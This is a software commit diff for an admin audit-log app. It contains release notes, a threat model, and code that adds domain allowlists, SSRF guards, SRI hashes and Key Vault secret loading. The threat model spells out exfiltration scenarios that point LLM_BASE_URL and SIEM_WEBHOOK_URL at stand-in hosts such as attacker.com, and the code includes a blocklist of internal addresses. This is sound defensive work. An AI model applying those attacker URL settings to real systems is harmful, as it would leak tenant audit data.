v1.7.14: LLM/SIEM domain allowlists, SRI hashes, auth misconfig warning, Azure Key Vault integration

.env.example

@@ -30,6 +30,15 @@ CORS_ORIGINS=*
 # OpenAPI docs exposure (set true only for dev)
 DOCS_ENABLED=false
 
+# LLM endpoint domain restriction (comma-separated, supports wildcards like *.openai.azure.com)
+# LLM_ALLOWED_DOMAINS=api.openai.com,*.openai.azure.com
+
+# SIEM webhook domain restriction (comma-separated)
+# SIEM_ALLOWED_DOMAINS=your-siem.com
+
+# Optional Azure Key Vault for secrets storage
+# AZURE_KEY_VAULT_NAME=your-keyvault-name
+
 # Optional: SIEM export webhook (e.g., Splunk HEC, Sentinel, or generic syslog webhook)
 SIEM_ENABLED=false
 SIEM_WEBHOOK_URL=

RELEASE_NOTES_v1.7.14.md

@@ -0,0 +1,64 @@
+# AOC v1.7.14 Release Notes
+
+**Release Date:** 2026-04-27
+
+## Security Hardening: Threat Model Remediation
+
+This release addresses the high-severity findings from the v1.7.13 threat model review.
+
+### LLM Endpoint Domain Allowlist
+
+- **New config:** `LLM_ALLOWED_DOMAINS` (comma-separated, supports wildcards like `*.openai.azure.com`)
+- **Behavior:** When configured, the `/api/ask` endpoint rejects `LLM_BASE_URL` domains not in the allowlist
+- **Impact:** Prevents audit data exfiltration via a compromised or attacker-controlled LLM endpoint
+
+### SIEM Webhook SSRF Guard
+
+- **New config:** `SIEM_ALLOWED_DOMAINS` (comma-separated)
+- **Behavior:** The SIEM forwarder now validates `SIEM_WEBHOOK_URL` with the same SSRF checks as the LLM endpoint (HTTPS-only, blocks private IPs, enforces domain allowlist)
+- **Impact:** Prevents real-time audit data exfiltration via a malicious SIEM webhook URL
+
+### CDN Subresource Integrity (SRI)
+
+- Added `integrity` hashes to both CDN scripts in the frontend:
+  - Alpine.js 3.15.11: `sha384-WPtu0YHhJ3arcykfnv1JgUffWDSKRnqnDeTpJUbOc2os2moEmLkIdaeR0trPN4be`
+  - MSAL.js 2.37.0: `sha384-DUSOaqAzlZRiZxkDi8hL7hXJDZ+X39ZOAYV9ZDx44gUv9pozmcunJH02tjSFLPnW`
+- **Impact:** Browser refuses to execute CDN scripts if the content doesn't match the hash, preventing supply chain compromise
+
+### Auth Misconfiguration Warning
+
+- At startup, AOC now logs a `WARNING` if `AUTH_ENABLED=true` but neither `AUTH_ALLOWED_ROLES` nor `AUTH_ALLOWED_GROUPS` is configured
+- **Impact:** Operators are alerted when the app is accidentally left open to all Entra users
+
+### Azure Key Vault Integration (Optional)
+
+- **New module:** `backend/secrets_manager.py`
+- **New config:** `AZURE_KEY_VAULT_NAME`
+- **Behavior:** If `AZURE_KEY_VAULT_NAME` is set, AOC fetches these secrets from Key Vault at startup:
+  - `aoc-client-secret` → `CLIENT_SECRET`
+  - `aoc-llm-api-key` → `LLM_API_KEY`
+  - `aoc-mongo-uri` → `MONGO_URI`
+  - `aoc-webhook-client-secret` → `WEBHOOK_CLIENT_SECRET`
+- Falls back silently to `.env` / environment variables when Key Vault is not configured
+- **Dependencies:** `azure-identity` and `azure-keyvault-secrets` (commented out in `requirements.txt` — uncomment when using Key Vault)
+- **Impact:** Eliminates long-lived secrets from `.env` files and Docker images
+
+## Files Changed
+
+| File | Change |
+|------|--------|
+| `backend/config.py` | Added `LLM_ALLOWED_DOMAINS`, `SIEM_ALLOWED_DOMAINS`, `AZURE_KEY_VAULT_NAME` |
+| `backend/routes/ask.py` | Domain allowlist enforcement for LLM URL |
+| `backend/siem.py` | SSRF guard + domain allowlist for SIEM webhook |
+| `backend/frontend/index.html` | SRI hashes for Alpine.js and MSAL.js |
+| `backend/main.py` | Startup warning for auth misconfiguration |
+| `backend/secrets_manager.py` | New — Azure Key Vault integration |
+| `backend/requirements.txt` | Added optional Azure Key Vault packages |
+| `.env.example` | Documented new settings |
+| `VERSION` | Bumped to 1.7.14 |
+| `THREAT_MODEL_v1.7.13.md` | Threat model documentation |
+
+## Test Results
+
+- **80/80 pytest tests passing**
+- Ruff lint/format clean

THREAT_MODEL_v1.7.13.md

@@ -0,0 +1,321 @@
+# AOC Threat Model — v1.7.13
+
+**Date:** 2026-04-27
+**Scope:** Entra ID / Microsoft Graph integration, token handling, data flows, external dependencies
+**Assumptions:** Deployment is Docker Compose behind nginx reverse proxy; `AUTH_ENABLED=true`; `AI_FEATURES_ENABLED` may be true or false.
+
+---
+
+## Attack Surface Map
+
+```
+┌─────────────────────────────────────────────────────────────────────────────┐
+│                              ATTACKER                                        │
+│         │                    │                    │                          │
+│         ▼                    ▼                    ▼                          │
+│  ┌─────────────┐    ┌──────────────┐    ┌─────────────────┐                 │
+│  │  Frontend   │    │   API        │    │  Webhook        │                 │
+│  │  (CDN JS)   │    │  (/api/*)    │    │  (/api/webhooks)│                 │
+│  └──────┬──────┘    └──────┬───────┘    └────────┬────────┘                 │
+│         │                  │                      │                          │
+│         ▼                  ▼                      ▼                          │
+│  ┌─────────────────────────────────────────────────────────────┐            │
+│  │                    AOC BACKEND                               │            │
+│  │  ┌──────────┐  ┌──────────┐  ┌──────────┐  ┌──────────┐    │            │
+│  │  │  Auth    │  │  Events  │  │  Fetch   │  │  Ask/LLM │    │            │
+│  │  │  (JWT)   │  │  (Mongo) │  │  (Graph) │  │  (HTTP)  │    │            │
+│  │  └────┬─────┘  └────┬─────┘  └────┬─────┘  └────┬─────┘    │            │
+│  │       │             │             │             │           │            │
+│  │       ▼             ▼             ▼             ▼           │            │
+│  │  ┌─────────────────────────────────────────────────────┐    │            │
+│  │  │              SECRETS / CREDENTIALS                   │    │            │
+│  │  │  CLIENT_SECRET  │  LLM_API_KEY  │  MONGO_PASSWORD   │    │            │
+│  │  └─────────────────────────────────────────────────────┘    │            │
+│  └─────────────────────────────────────────────────────────────┘            │
+│         │                  │                      │                          │
+│         ▼                  ▼                      ▼                          │
+│  ┌─────────────┐    ┌──────────────┐    ┌─────────────────┐                 │
+│  │ Microsoft   │    │  LLM API     │    │  SIEM Webhook   │                 │
+│  │  Graph API  │    │  (OpenAI/    │    │  (optional)     │                 │
+│  │             │    │   Azure)     │    │                 │                 │
+│  └─────────────┘    └──────────────┘    └─────────────────┘                 │
+└─────────────────────────────────────────────────────────────────────────────┘
+```
+
+---
+
+## 1. Entra App Registration Abuse — HIGH
+
+### 1.1 Client Credentials Leak = Full Tenant Read
+
+**How it works:**
+- AOC uses `client_credentials` flow (`graph/auth.py`)
+- `CLIENT_ID` + `CLIENT_SECRET` are exchanged for an access token at `login.microsoftonline.com`
+- The token has `https://graph.microsoft.com/.default` scope
+- This grants **all application permissions** configured in the Entra app registration
+
+**Typical permissions:**
+- `Directory.Read.All` — read all users, groups, devices, roles
+- `AuditLog.Read.All` — read all audit logs
+- `DeviceManagementManagedDevices.Read.All` — read all Intune devices
+
+**Attack scenario:**
+1. Attacker gains read access to `.env` or the Docker container filesystem
+2. Attacker calls the token endpoint directly with the leaked `CLIENT_ID`/`CLIENT_SECRET`
+3. Attacker receives a Graph API access token valid for ~1 hour
+4. Attacker can query ALL tenant data independently of AOC
+
+**Impact:** Complete tenant data exfiltration — users, groups, devices, audit logs, mailboxes (if `Exchange.Read` granted).
+
+**Mitigation in place:** None. The backend needs these permissions to function.
+
+**Recommendation:**
+- Store `CLIENT_SECRET` in a secret manager (Azure Key Vault, HashiCorp Vault) rather than `.env`
+- Use short-lived certificates instead of long-lived secrets for app authentication
+- Monitor Entra sign-in logs for anomalous `client_credentials` token requests
+- Restrict app registration permissions to the absolute minimum (e.g., `AuditLog.Read.All` + `Directory.Read.All` only)
+
+---
+
+### 1.2 No Scope Restriction on Graph Token
+
+**Finding:** `get_access_token()` always requests `https://graph.microsoft.com/.default` — the full permission set. There's no mechanism to request narrower scopes for specific operations.
+
+**Impact:** If the app registration has 10 permissions, every token has all 10. A bug in one code path could expose data from all 10 permission areas.
+
+**Recommendation:** Not easily fixable without splitting into multiple app registrations. Document as accepted risk.
+
+---
+
+## 2. Authentication & Token Validation — MEDIUM
+
+### 2.1 JWKS Fetch Without TLS Certificate Validation Hardening
+
+**Finding:** `_get_jwks()` fetches OIDC configuration and JWKS from `login.microsoftonline.com` using standard `requests` TLS validation. No certificate pinning or CA bundle restriction.
+
+**Attack scenario (advanced):**
+1. Attacker compromises DNS or a network hop between AOC and Microsoft
+2. Attacker serves a fake JWKS endpoint with their own public key
+3. Attacker issues a forged JWT signed with their private key
+4. AOC validates the forged JWT against the attacker's public key
+5. Attacker gains authenticated access
+
+**Likelihood:** Very low (requires DNS compromise or nation-state-level interception).
+
+**Mitigation:** Standard TLS validation is in place. For high-security environments, consider pinning the `login.microsoftonline.com` certificate thumbprint.
+
+---
+
+### 2.2 Missing `nbf` / `iat` Claim Verification
+
+**Finding:** `_decode_token()` verifies `exp`, `tid`, `iss`, and `aud` but does not check `nbf` (not before) or `iat` (issued at) claims.
+
+**Impact:** A token used before its validity period (`nbf`) or with a suspicious future `iat` would be accepted. Minor issue — MSAL tokens are well-formed in practice.
+
+---
+
+### 2.3 Role/Group Gating Defaults to "Allow All"
+
+**Finding:** In `auth.py`:
+```python
+def _allowed(claims, allowed_roles, allowed_groups):
+    if not allowed_roles and not allowed_groups:
+        return True
+```
+
+**Impact:** If `AUTH_ENABLED=true` but `AUTH_ALLOWED_ROLES` and `AUTH_ALLOWED_GROUPS` are left empty (the default), **every Entra user in the tenant** can authenticate and use AOC. This is a common misconfiguration.
+
+**Recommendation:** Add a startup warning when auth is enabled but no roles/groups are configured. Consider changing the default to deny-all.
+
+---
+
+### 2.4 Privacy Service Role Gating Also Defaults to "Allow All"
+
+**Finding:** `user_can_access_privacy_services()` returns `True` if `PRIVACY_SERVICE_ROLES` is empty. If an admin configures `PRIVACY_SERVICES` (e.g., `Exchange`) but forgets to set `PRIVACY_SERVICE_ROLES`, all users see all privacy data.
+
+---
+
+## 3. Data Exfiltration Paths — HIGH
+
+### 3.1 LLM Endpoint as Data Exfiltration Channel
+
+**Finding:** When `AI_FEATURES_ENABLED=true` and `LLM_API_KEY` is set:
+- The `/api/ask` endpoint sends audit event data (actors, targets, operations, summaries) to the configured LLM API
+- `_validate_llm_url()` blocks private IPs but does NOT restrict the domain to an allowlist
+- Any HTTPS URL is accepted
+
+**Attack scenario:**
+1. Attacker gains `.env` write access (or container filesystem access)
+2. Attacker changes `LLM_BASE_URL` to `https://attacker.com/fake-llm`
+3. Attacker sends an `/api/ask` request like "show me all events"
+4. AOC queries MongoDB and sends up to `LLM_MAX_EVENTS` (default 200) events to the attacker's URL
+5. Attacker receives structured audit data including actor names, UPNs, device names, operation details
+
+**Impact:** Up to 200 audit events exfiltrated per API call. With pagination, an attacker could exfiltrate the entire database.
+
+**Mitigation in place:** SSRF guard blocks private IPs and localhost.
+
+**Gap:** No domain allowlist. An attacker-controlled public HTTPS endpoint is accepted.
+
+**Recommendation:**
+- Add `LLM_ALLOWED_DOMAINS` config (e.g., `api.openai.com,*.openai.azure.com`)
+- Validate `LLM_BASE_URL` against this allowlist at startup and on every request
+- Log all LLM requests with event counts sent
+
+---
+
+### 3.2 SIEM Webhook as Real-Time Exfiltration Channel
+
+**Finding:** `siem.py` forwards every normalized event to `SIEM_WEBHOOK_URL` during ingestion:
+```python
+def forward_event(event):
+    if not SIEM_ENABLED or not SIEM_WEBHOOK_URL:
+        return
+    requests.post(SIEM_WEBHOOK_URL, json=event, timeout=10)
+```
+
+**Gap:** No URL validation at all. Unlike the LLM endpoint, the SIEM webhook has NO SSRF guard.
+
+**Attack scenario:**
+1. Attacker sets `SIEM_ENABLED=true` and `SIEM_WEBHOOK_URL=https://attacker.com/collect`
+2. Every new audit event fetched from Graph is immediately POSTed to the attacker's URL
+3. Attacker receives real-time stream of all tenant audit events
+
+**Impact:** Real-time, continuous data exfiltration of all audit events.
+
+**Recommendation:**
+- Add the same SSRF validation to `SIEM_WEBHOOK_URL` that exists for `LLM_BASE_URL`
+- Add `SIEM_ALLOWED_DOMAINS` config
+- Log SIEM forwarding failures prominently
+
+---
+
+### 3.3 Export Features (JSON/CSV)
+
+**Finding:** The frontend has `exportJSON()` and `exportCSV()` functions that download all currently filtered events. These are authenticated but not rate-limited separately from `/api/events`.
+
+**Impact:** A compromised account can export large batches of events. However, this requires authentication and is bounded by the 500-event page size limit.
+
+**Risk level:** LOW — requires valid auth and is noisy.
+
+---
+
+## 4. Webhook Abuse — MEDIUM
+
+### 4.1 Graph Change Notification Webhook
+
+**Finding:** `/api/webhooks/graph` receives Microsoft Graph change notifications:
+- Echoes `validationToken` for subscription handshake
+- Accepts notifications with optional `clientState` validation
+- `WEBHOOK_CLIENT_SECRET` is empty by default
+
+**Attack scenario 1 — Subscription hijacking:**
+1. Attacker discovers the webhook URL (via API enumeration or guess)
+2. Attacker creates a Graph subscription pointing to the AOC webhook URL
+3. Attacker receives change notifications for the subscribed resource
+
+**Mitigation:** Notifications without matching `clientState` are rejected when `WEBHOOK_CLIENT_SECRET` is configured. But it's empty by default.
+
+**Attack scenario 2 — Validation token abuse:**
+1. Attacker sends a POST to `/api/webhooks/graph?validationToken=<arbitrary content>`
+2. AOC echoes the token back as `text/plain`
+3. Could be used for cache poisoning or response splitting
+
+**Mitigation:** Length and ASCII validation added in v1.7.12.
+
+**Recommendation:**
+- Require `WEBHOOK_CLIENT_SECRET` to be set in production
+- Document that the webhook endpoint should NOT be exposed to the public internet
+
+---
+
+## 5. Supply Chain — MEDIUM
+
+### 5.1 CDN Scripts Without Subresource Integrity (SRI)
+
+**Finding:** The frontend loads two external scripts without SRI hashes:
+```html
+<script defer src="https://cdn.jsdelivr.net/npm/alpinejs@3.x.x/dist/cdn.min.js"></script>
+<script src="https://alcdn.msauth.net/browser/2.37.0/js/msal-browser.min.js" crossorigin="anonymous"></script>
+```
+
+**Attack scenario:**
+1. `cdn.jsdelivr.net` or `alcdn.msauth.net` is compromised (supply chain attack)
+2. Malicious JavaScript is served instead of the legitimate library
+3. Malicious script can steal MSAL tokens, modify API requests, or exfiltrate data
+
+**Impact:** Complete frontend compromise — token theft, data exfiltration, UI spoofing.
+
+**Recommendation:**
+- Add SRI hashes to both script tags:
+  ```html
+  <script defer src="..." integrity="sha384-..." crossorigin="anonymous"></script>
+  ```
+- Or vendor the JS files and serve them from the same origin
+
+---
+
+## 6. Privilege Escalation — MEDIUM
+
+### 6.1 Application Permissions Bypass User Boundaries
+
+**Finding:** Because AOC uses application permissions (not delegated permissions), the backend can read audit logs for ALL users, not just the authenticated user. The privacy service filtering (`PRIVACY_SERVICES`) is the only boundary — and it's opt-in.
+
+**Impact:** A user with minimal Entra permissions (e.g., a regular user who can authenticate) can view audit logs for the entire tenant if:
+- `PRIVACY_SERVICES` is not configured, OR
+- `PRIVACY_SERVICE_ROLES` is not configured
+
+**Recommendation:**
+- Document that AOC should be restricted to admin/security roles via `AUTH_ALLOWED_ROLES`
+- Consider adding per-user event filtering (only show events where the authenticated user is the actor or target)
+
+---
+
+## 7. Miscellaneous Vectors — LOW
+
+### 7.1 Token Cache in Memory
+
+**Finding:** `_TOKEN_CACHE` in `graph/auth.py` is an in-memory dictionary. If an attacker gains code execution in the Python process, they can read the cache or call `get_access_token()` directly.
+
+**Impact:** Attacker with code execution can get Graph API tokens. But if they have code execution, they already have `CLIENT_SECRET` from memory or `.env`.
+
+### 7.2 MongoDB Connection String
+
+**Finding:** `MONGO_URI` contains credentials. If an attacker gains filesystem access, they can connect directly to MongoDB and bypass all AOC auth/privacy controls.
+
+**Mitigation:** MongoDB is internal to Docker network (not exposed to host in production compose file).
+
+### 7.3 Audit Trail Log Injection
+
+**Finding:** `audit_trail.log_action()` stores actions in MongoDB. The `details` dict could contain user-controlled data (e.g., filter values). If the audit log is ever rendered without escaping, this could lead to XSS.
+
+**Risk level:** LOW — audit logs are not currently rendered in the UI.
+
+---
+
+## Risk Summary
+
+| Vector | Severity | Likelihood | Requires |
+|--------|----------|------------|----------|
+| Client secret leak → full tenant read | **HIGH** | Medium | `.env` or container access |
+| LLM endpoint hijacking → data exfil | **HIGH** | Low | `.env` write access |
+| SIEM webhook hijacking → real-time exfil | **HIGH** | Low | `.env` write access |
+| CDN compromise → frontend token theft | **MEDIUM** | Low | Supply chain attack |
+| Role gating misconfig → all users access | **MEDIUM** | High | Misconfiguration |
+| Webhook subscription hijacking | **MEDIUM** | Low | URL discovery |
+| DNS compromise → fake JWKS | **MEDIUM** | Very low | Network compromise |
+| Application permissions bypass boundaries | **MEDIUM** | High | Default config |
+| Token replay | LOW | Low | Token theft |
+| Audit log injection | LOW | Low | Filter manipulation |
+
+---
+
+## Immediate Recommendations
+
+1. **Add LLM domain allowlist** (`LLM_ALLOWED_DOMAINS`) and validate at startup
+2. **Add SIEM SSRF guard** — reuse `_validate_llm_url()` for `SIEM_WEBHOOK_URL`
+3. **Add SRI hashes** to CDN script tags, or vendor the libraries
+4. **Add startup warning** when auth is enabled but no `AUTH_ALLOWED_ROLES`/`AUTH_ALLOWED_GROUPS` configured
+5. **Document webhook security** — require `WEBHOOK_CLIENT_SECRET` in production
+6. **Consider Key Vault integration** for `CLIENT_SECRET` and `LLM_API_KEY`
+7. **Add per-user filtering option** — restrict events to those involving the authenticated user

VERSION

@@ -1 +1 @@
-1.7.13
+1.7.14

backend/config.py

@@ -1,4 +1,10 @@
-from pydantic_settings import BaseSettings, SettingsConfigDict
+from secrets_manager import load_key_vault_secrets
+
+# Pre-load Azure Key Vault secrets into os.environ before pydantic-settings reads them.
+# This is a no-op if AZURE_KEY_VAULT_NAME is not set.
+load_key_vault_secrets()
+
+from pydantic_settings import BaseSettings, SettingsConfigDict  # noqa: E402
 
 
 class Settings(BaseSettings):
@@ -80,6 +86,15 @@ class Settings(BaseSettings):
     DOCS_ENABLED: bool = False
     METRICS_ALLOWED_IPS: str = "127.0.0.1,::1,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16"
 
+    # LLM endpoint restriction (comma-separated domains, e.g. "api.openai.com,*.openai.azure.com")
+    LLM_ALLOWED_DOMAINS: str = ""
+
+    # SIEM webhook restriction (comma-separated domains)
+    SIEM_ALLOWED_DOMAINS: str = ""
+
+    # Optional Azure Key Vault integration for secrets
+    AZURE_KEY_VAULT_NAME: str = ""
+
 
 _settings = Settings()
 
@@ -134,3 +149,8 @@ RATE_LIMIT_WINDOW_SECONDS = _settings.RATE_LIMIT_WINDOW_SECONDS
 
 DOCS_ENABLED = _settings.DOCS_ENABLED
 METRICS_ALLOWED_IPS = _settings.METRICS_ALLOWED_IPS
+
+LLM_ALLOWED_DOMAINS = [d.strip().lower() for d in _settings.LLM_ALLOWED_DOMAINS.split(",") if d.strip()]
+SIEM_ALLOWED_DOMAINS = [d.strip().lower() for d in _settings.SIEM_ALLOWED_DOMAINS.split(",") if d.strip()]
+
+AZURE_KEY_VAULT_NAME = _settings.AZURE_KEY_VAULT_NAME

backend/frontend/index.html

@@ -5,8 +5,8 @@
   <meta name="viewport" content="width=device-width, initial-scale=1.0" />
   <title>Admin Operations Center</title>
   <link rel="stylesheet" href="/style.css?v=15" />
-  <script defer src="https://cdn.jsdelivr.net/npm/alpinejs@3.x.x/dist/cdn.min.js"></script>
+  <script defer src="https://cdn.jsdelivr.net/npm/alpinejs@3.x.x/dist/cdn.min.js" integrity="sha384-WPtu0YHhJ3arcykfnv1JgUffWDSKRnqnDeTpJUbOc2os2moEmLkIdaeR0trPN4be" crossorigin="anonymous"></script>
-  <script src="https://alcdn.msauth.net/browser/2.37.0/js/msal-browser.min.js" crossorigin="anonymous"></script>
+  <script src="https://alcdn.msauth.net/browser/2.37.0/js/msal-browser.min.js" integrity="sha384-DUSOaqAzlZRiZxkDi8hL7hXJDZ+X39ZOAYV9ZDx44gUv9pozmcunJH02tjSFLPnW" crossorigin="anonymous"></script>
 </head>
 <body>
   <div class="page" x-data="aocApp()" x-init="initApp()">

backend/main.py

@@ -10,6 +10,8 @@ import structlog
 from audit_trail import log_action
 from config import (
     AI_FEATURES_ENABLED,
+    AUTH_ALLOWED_GROUPS,
+    AUTH_ALLOWED_ROLES,
     AUTH_ENABLED,
     CORS_ORIGINS,
     DOCS_ENABLED,
@@ -275,6 +277,13 @@ async def start_periodic_fetch():
         auth_enabled=AUTH_ENABLED,
         ai_enabled=AI_FEATURES_ENABLED,
     )
+    # Warn when auth is enabled but no role/group restrictions are configured
+    if AUTH_ENABLED and not AUTH_ALLOWED_ROLES and not AUTH_ALLOWED_GROUPS:
+        logger.warning(
+            "AUTH_ENABLED is true but no AUTH_ALLOWED_ROLES or AUTH_ALLOWED_GROUPS are configured. "
+            "Any Entra user in the tenant can authenticate and access AOC. "
+            "Set AUTH_ALLOWED_ROLES or AUTH_ALLOWED_GROUPS to restrict access."
+        )
     if ENABLE_PERIODIC_FETCH:
         app.state.fetch_task = asyncio.create_task(_periodic_fetch())
 

backend/requirements.txt

@@ -16,3 +16,8 @@ gunicorn
 mcp
 redis
 arq
+
+# Optional: Azure Key Vault integration for secrets storage
+# Uncomment if using AZURE_KEY_VAULT_NAME
+# azure-identity
+# azure-keyvault-secrets

backend/routes/ask.py

@@ -7,6 +7,7 @@ import httpx
 import structlog
 from auth import require_auth, user_can_access_privacy_services
 from config import (
+    LLM_ALLOWED_DOMAINS,
     LLM_API_KEY,
     LLM_API_VERSION,
     LLM_BASE_URL,
@@ -398,7 +399,7 @@ def _format_events_for_llm(
 
 
 def _validate_llm_url(url: str):
-    """Prevent SSRF by rejecting internal/reserved addresses."""
+    """Prevent SSRF by rejecting internal/reserved addresses and enforcing domain allowlist."""
     from urllib.parse import urlparse
 
     parsed = urlparse(url)
@@ -420,6 +421,12 @@ def _validate_llm_url(url: str):
     except ValueError:
         pass  # hostname is not an IP, which is fine
 
+    # Enforce domain allowlist if configured
+    if LLM_ALLOWED_DOMAINS:
+        allowed = any(hostname == d or (d.startswith("*.") and hostname.endswith(d[1:])) for d in LLM_ALLOWED_DOMAINS)
+        if not allowed:
+            raise RuntimeError(f"LLM_BASE_URL domain '{hostname}' is not in LLM_ALLOWED_DOMAINS")
+
 
 def _build_chat_url(base_url: str, api_version: str) -> str:
     base = base_url.rstrip("/")

backend/secrets_manager.py

@@ -0,0 +1,76 @@
+"""Optional Azure Key Vault integration for secrets storage.
+
+If AZURE_KEY_VAULT_NAME is configured, sensitive secrets are fetched from
+Azure Key Vault at startup and injected into the environment so that
+pydantic-settings can read them. Falls back to .env / environment variables
+when Key Vault is not configured.
+
+Secret naming convention in Key Vault:
+    aoc-client-secret        → CLIENT_SECRET
+    aoc-llm-api-key          → LLM_API_KEY
+    aoc-mongo-uri            → MONGO_URI
+    aoc-webhook-client-secret → WEBHOOK_CLIENT_SECRET
+"""
+
+import os
+
+import structlog
+
+logger = structlog.get_logger("aoc.secrets")
+
+_KEY_VAULT_SECRET_MAP = {
+    "aoc-client-secret": "CLIENT_SECRET",
+    "aoc-llm-api-key": "LLM_API_KEY",
+    "aoc-mongo-uri": "MONGO_URI",
+    "aoc-webhook-client-secret": "WEBHOOK_CLIENT_SECRET",
+}
+
+
+def _load_from_key_vault(vault_name: str) -> dict[str, str]:
+    """Fetch secrets from Azure Key Vault and return as {env_name: value}."""
+    try:
+        from azure.identity import DefaultAzureCredential
+        from azure.keyvault.secrets import SecretClient
+    except ImportError as exc:
+        raise RuntimeError(
+            "Azure Key Vault libraries are not installed. Run: pip install azure-identity azure-keyvault-secrets"
+        ) from exc
+
+    vault_url = f"https://{vault_name}.vault.azure.net/"
+    credential = DefaultAzureCredential()
+    client = SecretClient(vault_url=vault_url, credential=credential)
+
+    loaded = {}
+    for kv_name, env_name in _KEY_VAULT_SECRET_MAP.items():
+        try:
+            secret = client.get_secret(kv_name)
+            if secret.value:
+                loaded[env_name] = secret.value
+                logger.info("Loaded secret from Key Vault", secret_name=kv_name)
+        except Exception as exc:
+            logger.warning(
+                "Failed to load secret from Key Vault",
+                secret_name=kv_name,
+                error=str(exc),
+            )
+    return loaded
+
+
+def load_key_vault_secrets(vault_name: str | None = None):
+    """Load secrets from Azure Key Vault into os.environ if configured.
+
+    This should be called BEFORE pydantic-settings parses configuration.
+    """
+    vault = vault_name or os.environ.get("AZURE_KEY_VAULT_NAME", "")
+    if not vault:
+        return
+
+    logger.info("Loading secrets from Azure Key Vault", vault_name=vault)
+    secrets = _load_from_key_vault(vault)
+    for env_name, value in secrets.items():
+        os.environ[env_name] = value
+    logger.info(
+        "Key Vault secrets loaded",
+        count=len(secrets),
+        keys=list(secrets.keys()),
+    )

backend/siem.py

@@ -1,15 +1,43 @@
+import ipaddress
+
 import requests
 import structlog
-from config import SIEM_ENABLED, SIEM_WEBHOOK_URL
+from config import SIEM_ALLOWED_DOMAINS, SIEM_ENABLED, SIEM_WEBHOOK_URL
 
 logger = structlog.get_logger("aoc.siem")
 
 
+def _validate_siem_url(url: str):
+    """Prevent SSRF by rejecting internal/reserved addresses and enforcing domain allowlist."""
+    from urllib.parse import urlparse
+
+    parsed = urlparse(url)
+    if parsed.scheme != "https":
+        raise RuntimeError("SIEM_WEBHOOK_URL must use HTTPS")
+    hostname = (parsed.hostname or "").lower()
+    if not hostname:
+        raise RuntimeError("SIEM_WEBHOOK_URL must have a valid hostname")
+    blocked = {"localhost", "127.0.0.1", "0.0.0.0", "::1", "169.254.169.254"}
+    if hostname in blocked:
+        raise RuntimeError(f"SIEM_WEBHOOK_URL hostname '{hostname}' is not allowed")
+    try:
+        ip = ipaddress.ip_address(hostname)
+        if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
+            raise RuntimeError(f"SIEM_WEBHOOK_URL IP '{hostname}' is not allowed")
+    except ValueError:
+        pass
+    if SIEM_ALLOWED_DOMAINS:
+        allowed = any(hostname == d or (d.startswith("*.") and hostname.endswith(d[1:])) for d in SIEM_ALLOWED_DOMAINS)
+        if not allowed:
+            raise RuntimeError(f"SIEM_WEBHOOK_URL domain '{hostname}' is not in SIEM_ALLOWED_DOMAINS")
+
+
 def forward_event(event: dict):
     """Forward a normalized event to the configured SIEM webhook."""
     if not SIEM_ENABLED or not SIEM_WEBHOOK_URL:
         return
     try:
+        _validate_siem_url(SIEM_WEBHOOK_URL)
         res = requests.post(SIEM_WEBHOOK_URL, json=event, timeout=10)
         res.raise_for_status()
         logger.debug("Event forwarded to SIEM", event_id=event.get("id"))